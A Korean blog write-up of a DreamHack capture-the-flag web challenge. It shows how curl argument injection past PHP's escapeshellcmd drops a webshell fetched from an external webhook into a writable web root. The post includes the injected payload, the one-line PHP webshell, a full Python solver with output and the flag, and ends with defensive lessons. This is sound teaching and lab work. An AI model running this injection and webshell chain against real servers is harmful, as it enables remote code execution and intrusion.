[🥉 Bronze 2] escapeshellcmd가 안 막는 공백 — curl 인자 주입으로 웹셸 RCE — DreamHack Command Injection Advanced 풀이

2026-06-04·1분 읽기·

[🥉 Bronze 2] escapeshellcmd가 안 막는 공백 — curl 인자 주입으로 웹셸 RCE — DreamHack Command Injection Advanced 풀이

escapeshellcmd는 셸 메타문자는 막지만 공백과 하이픈은 그대로 둔다. curl 명령에 -o 인자를 끼워 넣어 PHP 웹셸을 웹루트 cache/에 떨군 뒤, 그 웹셸로 실행전용 바이너리 /flag를 돌려 플래그를 얻은 과정을 정리했다.

문제: DreamHack — Command Injection Advanced 분류: Web 난이도: 🥉 Bronze 2 FLAG: DH{8ca5256a49452e4db9de7691a9c69b7678271383}


문제 개요

항목내용
문제명Command Injection Advanced
난이도🥉 Bronze 2
분류Web (PHP + Apache)
제공 파일 / 서버index.php, flag.c, Dockerfile / http://<instance-host>:<port>/ (인스턴스마다 변경)
핵심 취약점 / 기법escapeshellcmd 공백 미차단 → curl 인자 주입 → 웹셸 RCE

입력한 URL을 서버가 curl로 가져와 보여주는 "Online Curl Request" 서비스다. 입력은 escapeshellcmd로 한 번 걸러진다. 세미콜론이나 파이프로 새 명령을 붙이는 평범한 커맨드 인젝션은 막힌다. 그래서 Advanced다.

메인 — Online Curl Request 폼
메인 — Online Curl Request 폼


🔬 분석 — 막은 것과 안 막은 것

index.php의 핵심은 이 몇 줄이다.

if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(strpos($url, 'http') !== 0 ){
        die('http only !');                              // url 은 "http" 로 시작해야 함
    }else{
        $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
        $cache_file = './cache/'.md5($url);
        file_put_contents($cache_file, $result);          // 결과를 cache 에 저장
        echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
        echo '<pre>'. htmlentities($result) .'</pre>';
    }
}

escapeshellcmd는 셸 메타문자(;, |, &, $, 백틱, (), <> 등)를 백슬래시로 막는다. 그래서 curl http://x; cat /flag 같은 명령 분리는 통하지 않는다.

그런데 이 함수가 건드리지 않는 문자가 있다. 공백, 하이픈(-), 슬래시(/), 점(.)이다. 새 명령을 못 붙여도, 공백으로 단어를 나누면 curl에 인자를 더 넘길 수 있다. curl <url> -o <path> 처럼.

flag.c를 보면 플래그를 그냥 읽을 수는 없다.

void main(){ puts("DH{**flag**}\n"); }

Dockerfile에서 이걸 컴파일해 /flag 바이너리로 만들고 chmod 111을 준다. 실행 권한만 있고 읽기 권한이 없다. 그러니 파일을 cat 하는 게 아니라 실행해야 플래그가 나온다. 단순 파일 읽기로는 안 되고 명령 실행(RCE)이 필요하다.

curl 자체는 프로그램을 실행하지 못한다. 대신 cache/ 디렉터리가 chmod 777에 웹루트 아래라는 점을 쓴다. curl의 -o로 PHP 웹셸을 거기에 .php로 떨구면, 그 웹셸이 PHP로 실행되면서 /flag를 돌려준다.

curl이 외부 URL을 가져와 결과를 그대로 반사·캐시한다는 것부터 확인된다.

?url=https://webhook... — curl이 가져온 외부 응답이 그대로 cache 저장 + 반사
?url=https://webhook... — curl이 가져온 외부 응답이 그대로 cache 저장 + 반사
공격 흐름 — curl -o 웹셸 드롭 → RCE → /flag 실행
공격 흐름 — curl -o 웹셸 드롭 → RCE → /flag 실행

💣 핵심 — curl -o로 웹셸을 cache에 떨군다

먼저 외부에 PHP 웹셸을 응답하는 endpoint를 하나 둔다. webhook.site의 기본 응답을 <?php system($_GET['cmd']); ?>로 설정해 두면, 그 URL을 GET할 때마다 이 코드가 그대로 내려온다.

이제 url 파라미터에 webhook 주소를 넣고, 공백으로 -o와 저장 경로를 이어 붙인다.

?url=https://webhook.site/<uuid> -o /var/www/html/cache/s.php

escapeshellcmd를 거쳐도 공백·-·/·.는 살아남으므로, 서버에서 실제 실행되는 명령은 이렇게 된다.

curl https://webhook.site/<uuid> -o /var/www/html/cache/s.php

curl이 webhook의 응답(우리 PHP 웹셸)을 받아 cache/s.php에 그대로 쓴다. .php 확장자라 Apache가 PHP로 실행해준다. RCE가 생긴 것이다.

GET /cache/s.php?cmd=id   →   uid=33(www-data) gid=33(www-data) ...
/cache/s.php?cmd=id — www-data 권한으로 RCE 성립
/cache/s.php?cmd=id — www-data 권한으로 RCE 성립

남은 건 /flag를 실행하는 것뿐이다. 읽기는 막혀 있어도 실행은 되니, cmd=/flag로 바이너리를 돌리면 출력이 그대로 응답에 담긴다.

/cache/s.php?cmd=/flag — 실행전용 바이너리를 돌려 플래그 획득
/cache/s.php?cmd=/flag — 실행전용 바이너리를 돌려 플래그 획득


🚀 Full Exploit

웹셸 드롭 → RCE 확인 → /flag 실행을 한 번에 묶은 솔버다.

#!/usr/bin/env python3
import re, requests
 
BASE = "http://host3.dreamhack.games:15173"
SHELL_SRC = "https://webhook.site/<uuid>"      # 기본 응답: <?php system($_GET['cmd']); ?>
SHELL_PATH = "/var/www/html/cache/s.php"
 
# 1) curl 인자 주입 — url 뒤에 공백+`-o <경로>` 로 웹셸을 cache/s.php 에 저장
inject = f"{SHELL_SRC} -o {SHELL_PATH}"
requests.get(f"{BASE}/", params={"url": inject}, timeout=20)
 
# 2) 떨군 웹셸로 RCE 확인
r = requests.get(f"{BASE}/cache/s.php", params={"cmd": "id"}, timeout=20)
print("[*] id:", r.text.strip())
 
# 3) 실행전용 바이너리 /flag 실행 → 플래그
r = requests.get(f"{BASE}/cache/s.php", params={"cmd": "/flag"}, timeout=20)
print("[+] FLAG:", re.search(r"DH\{[^}]*\}", r.text).group(0))
[*] 웹셸 드롭 요청 -> HTTP 200
[*] RCE 확인 (id): uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] /flag 출력: 'DH{8ca5256a49452e4db9de7691a9c69b7678271383}'
 
[+] FLAG: DH{8ca5256a49452e4db9de7691a9c69b7678271383}
solve.py 실행 — 웹셸 드롭 후 RCE로 /flag 실행
solve.py 실행 — 웹셸 드롭 후 RCE로 /flag 실행
DH{8ca5256a49452e4db9de7691a9c69b7678271383}


📝 정리

escapeshellcmd는 명령 분리만 막는다.

이름 때문에 "셸을 안전하게 만들어주는 함수"로 오해하기 쉽다. 실제로는 메타문자를 이스케이프해 새 명령을 못 붙이게 할 뿐, 공백으로 인자를 추가하는 것은 그대로 허용한다. 인자 하나로 동작이 완전히 달라지는 curl·tar·ffmpeg 같은 도구 앞에서는 이 방어가 거의 의미가 없다. 인자가 고정돼야 한다면 escapeshellarg로 값을 통째로 감싸거나, 애초에 셸을 거치지 않는 API를 써야 한다.

쓰기 가능한 웹루트 디렉터리는 RCE로 가는 다리다.

cache/가 chmod 777에 웹루트 아래 있었기 때문에, 파일 하나 떨구는 것만으로 PHP 실행까지 이어졌다. 업로드·캐시 디렉터리는 웹루트 밖에 두거나 스크립트 실행을 막아야 한다.

못 읽으면 실행하면 된다.

/flag는 읽기 권한을 막아 cat을 무력화했지만 실행 권한은 남겨뒀다. 권한을 조일 때는 "읽기를 막았으니 안전하다"가 아니라, 그 파일로 할 수 있는 모든 동작을 함께 봐야 한다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 4] PHP 정규식 3겹 뚫기 — preg_replace 겹침·알파벳 없는 비번·flag 필터 우회 RCE — DreamHack phpreg 풀이
blog

[🥉 Bronze 4] PHP 정규식 3겹 뚫기 — preg_replace 겹침·알파벳 없는 비번·flag 필터 우회 RCE — DreamHack phpreg 풀이

PHP의 preg_replace·preg_match로 만든 관문 세 개를 차례로 뚫는 문제다. 닉네임은 'nyang'을 겹치게 끼워 한 번만 지워지게 만들고, 비밀번호는 알파벳 없이 치환 패턴을 맞추고, 마지막 cmd는 'flag' 필터를 와일드카드로 우회해 RCE로 flag.txt를 읽었다.
#dreamhack#ctf#web+5
2026-06-22#dreamhack +5
[🥈 Silver 4] switch는 느슨하게 비교한다 — DreamHack Switching Command 풀이
blog

[🥈 Silver 4] switch는 느슨하게 비교한다 — DreamHack Switching Command 풀이

PHP의 switch는 == 로 비교한다. 입력을 boolean true로 보내면 ===로 막아둔 "admin" 검사를 비껴가면서 switch case "admin"에는 걸려든다. 인증을 훔친 뒤엔 escapeshellcmd가 손대지 않는 따옴표로 명령 필터를 깨고, 출력이 안 보이는 blind 환경을 world-writable 웹루트에 파일을 떨궈 회수했다.
#dreamhack#ctf#web+5
2026-06-06#dreamhack +5
[🥉 Bronze 1] "IP인지 검증했다"와 "안전하다"는 다른 말이다 — DreamHack EZ_command_injection 풀이
blog

[🥉 Bronze 1] "IP인지 검증했다"와 "안전하다"는 다른 말이다 — DreamHack EZ_command_injection 풀이

ping을 대신 실행해주는 웹 서비스. 서버는 사용자가 넣은 값을 파이썬 ipaddress.ip_address()로 "진짜 IP 주소인지" 검증한 다음에야 쉘 명령에 끼워 넣는다 — 얼핏 안전해 보이는 방어다. 그런데 IPv6 주소 뒤에 붙는 %인터페이스이름(scope id) 부분은 그 내용을 전혀 검증하지 않고 그대로 보존한다는 사실을 알게 되면서, "유효한 IP 주소"이면서 동시에 완전한 쉘 인젝션 페이로드인 문자열을 만들 수 있었다. 유일한 걸림돌은 절대경로에 들어가는 슬래시 하나 — CIDR 표기법과 헷갈려 파싱이 거부됐다.
#dreamhack#ctf#web+4
2026-07-21#dreamhack +4